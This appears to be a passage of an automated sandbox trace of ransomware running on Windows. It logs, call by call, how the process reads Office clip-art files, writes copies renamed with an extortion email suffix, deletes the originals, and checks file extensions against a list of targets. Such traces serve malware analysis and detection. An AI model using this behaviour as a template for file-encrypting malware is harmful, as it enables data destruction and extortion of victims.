SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0257.147] GetLastError () returned 0x0 [0257.147] ReadFile (in: hFile=0x33c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x131e, lpOverlapped=0x0) returned 1 [0257.218] WriteFile (in: hFile=0x494, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1320, lpOverlapped=0x0) returned 1 [0257.220] ReadFile (in: hFile=0x33c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0257.220] WriteFile (in: hFile=0x494, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0257.220] SetEndOfFile (hFile=0x494) returned 1 [0257.220] CloseHandle (hObject=0x494) returned 1 [0257.224] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.224] SetEndOfFile (hFile=0x33c) returned 1 [0257.226] CloseHandle (hObject=0x33c) returned 1 [0257.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.227] lstrlenW (lpString=".doc") returned 4 [0257.227] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.227] lstrlenW (lpString=".docx") returned 5 [0257.227] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.227] lstrlenW (lpString=".pdf") returned 4 [0257.227] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.227] lstrlenW (lpString=".xls") returned 4 [0257.227] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.228] lstrlenW (lpString=".xlsx") returned 5 [0257.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.228] lstrlenW (lpString=".ppt") returned 4 [0257.228] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.228] lstrlenW (lpString=".zip") returned 4 [0257.228] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.228] lstrlenW (lpString=".rar") returned 4 [0257.228] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.228] lstrlenW (lpString=".bz2") returned 4 [0257.228] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.228] lstrlenW (lpString=".7z") returned 3 [0257.228] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.228] lstrlenW (lpString=".dbf") returned 4 [0257.228] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.228] lstrlenW (lpString=".1cd") returned 4 [0257.228] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.228] lstrlenW (lpString=".jpg") returned 4 [0257.228] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.228] lstrlenW (lpString=".doc") returned 4 [0257.228] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.228] lstrlenW (lpString=".docx") returned 5 [0257.228] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.228] lstrlenW (lpString=".pdf") returned 4 [0257.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.229] lstrlenW (lpString=".xls") returned 4 [0257.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.229] lstrlenW (lpString=".xlsx") returned 5 [0257.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.229] lstrlenW (lpString=".ppt") returned 4 [0257.229] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.229] lstrlenW (lpString=".zip") returned 4 [0257.229] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.229] lstrlenW (lpString=".rar") returned 4 [0257.229] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.229] lstrlenW (lpString=".bz2") returned 4 [0257.229] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.229] lstrlenW (lpString=".7z") returned 3 [0257.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.229] lstrlenW (lpString=".dbf") returned 4 [0257.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.229] lstrlenW (lpString=".1cd") returned 4 [0257.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0257.229] lstrlenW (lpString=".jpg") returned 4 [0257.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.229] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.229] lstrlenW (lpString="AG00170_.GIF") returned 12 [0257.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0257.433] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9248) returned 1 [0257.433] CloseHandle (hObject=0x4a0) returned 1 [0257.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0257.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0257.433] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.433] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.434] GetLastError () returned 0x0 [0257.434] ReadFile (in: hFile=0x4a0, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2420, lpOverlapped=0x0) returned 1 [0258.033] WriteFile (in: hFile=0x33c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2430, lpOverlapped=0x0) returned 1 [0258.034] ReadFile (in: hFile=0x4a0, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0258.034] WriteFile (in: hFile=0x33c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0258.035] SetEndOfFile (hFile=0x33c) returned 1 [0258.035] CloseHandle (hObject=0x33c) returned 1 [0258.036] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.036] SetEndOfFile (hFile=0x4a0) returned 1 [0258.039] CloseHandle (hObject=0x4a0) returned 1 [0258.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0258.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0258.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.089] lstrlenW (lpString=".doc") returned 4 [0258.089] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0258.089] lstrlenW (lpString=".docx") returned 5 [0258.089] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0258.089] lstrlenW (lpString=".pdf") returned 4 [0258.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0258.090] lstrlenW (lpString=".xls") returned 4 [0258.090] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0258.090] lstrlenW (lpString=".xlsx") returned 5 [0258.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0258.090] lstrlenW (lpString=".ppt") returned 4 [0258.090] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0258.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.090] lstrlenW (lpString=".zip") returned 4 [0258.090] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0258.090] lstrlenW (lpString=".rar") returned 4 [0258.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0258.090] lstrlenW (lpString=".bz2") returned 4 [0258.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0258.090] lstrlenW (lpString=".7z") returned 3 [0258.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0258.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.090] lstrlenW (lpString=".dbf") returned 4 [0258.090] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0258.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.090] lstrlenW (lpString=".1cd") returned 4 [0258.090] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0258.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.090] lstrlenW (lpString=".jpg") returned 4 [0258.090] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0258.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.090] lstrlenW (lpString=".doc") returned 4 [0258.090] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0258.090] lstrlenW (lpString=".docx") returned 5 [0258.090] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0258.090] lstrlenW (lpString=".pdf") returned 4 [0258.090] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0258.091] lstrlenW (lpString=".xls") returned 4 [0258.091] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0258.091] lstrlenW (lpString=".xlsx") returned 5 [0258.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0258.091] lstrlenW (lpString=".ppt") returned 4 [0258.091] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0258.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.091] lstrlenW (lpString=".zip") returned 4 [0258.091] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0258.091] lstrlenW (lpString=".rar") returned 4 [0258.091] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0258.091] lstrlenW (lpString=".bz2") returned 4 [0258.091] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0258.091] lstrlenW (lpString=".7z") returned 3 [0258.091] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0258.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.091] lstrlenW (lpString=".dbf") returned 4 [0258.091] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0258.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.091] lstrlenW (lpString=".1cd") returned 4 [0258.091] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0258.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0258.091] lstrlenW (lpString=".jpg") returned 4 [0258.091] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0258.091] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0258.091] lstrlenW (lpString="AN00790_.WMF") returned 12 [0258.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0258.146] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=5684) returned 1 [0258.146] CloseHandle (hObject=0x440) returned 1 [0258.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0258.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0261.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0261.873] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.873] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0261.874] GetLastError () returned 0x0 [0261.874] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1634, lpOverlapped=0x0) returned 1 [0261.920] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1640, lpOverlapped=0x0) returned 1 [0261.921] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0261.921] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0261.922] SetEndOfFile (hFile=0x538) returned 1 [0261.922] CloseHandle (hObject=0x538) returned 1 [0261.923] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.923] SetEndOfFile (hFile=0x524) returned 1 [0261.926] CloseHandle (hObject=0x524) returned 1 [0261.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0262.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0262.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.135] lstrlenW (lpString=".doc") returned 4 [0262.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.135] lstrlenW (lpString=".docx") returned 5 [0262.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.135] lstrlenW (lpString=".pdf") returned 4 [0262.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.135] lstrlenW (lpString=".xls") returned 4 [0262.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.135] lstrlenW (lpString=".xlsx") returned 5 [0262.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.135] lstrlenW (lpString=".ppt") returned 4 [0262.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.135] lstrlenW (lpString=".zip") returned 4 [0262.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.135] lstrlenW (lpString=".rar") returned 4 [0262.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString=".bz2") returned 4 [0262.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString=".7z") returned 3 [0262.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.136] lstrlenW (lpString=".dbf") returned 4 [0262.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.136] lstrlenW (lpString=".1cd") returned 4 [0262.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.136] lstrlenW (lpString=".jpg") returned 4 [0262.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.136] lstrlenW (lpString=".doc") returned 4 [0262.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString=".docx") returned 5 [0262.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.136] lstrlenW (lpString=".pdf") returned 4 [0262.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString=".xls") returned 4 [0262.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.136] lstrlenW (lpString=".xlsx") returned 5 [0262.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.136] lstrlenW (lpString=".ppt") returned 4 [0262.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.136] lstrlenW (lpString=".zip") returned 4 [0262.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.136] lstrlenW (lpString=".rar") returned 4 [0262.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.137] lstrlenW (lpString=".bz2") returned 4 [0262.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.137] lstrlenW (lpString=".7z") returned 3 [0262.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.137] lstrlenW (lpString=".dbf") returned 4 [0262.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.137] lstrlenW (lpString=".1cd") returned 4 [0262.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0262.137] lstrlenW (lpString=".jpg") returned 4 [0262.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.137] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0262.137] lstrlenW (lpString="AN01218_.WMF") returned 12 [0262.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.138] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3012) returned 1 [0262.138] CloseHandle (hObject=0x548) returned 1 [0262.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0262.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0262.138] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.138] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 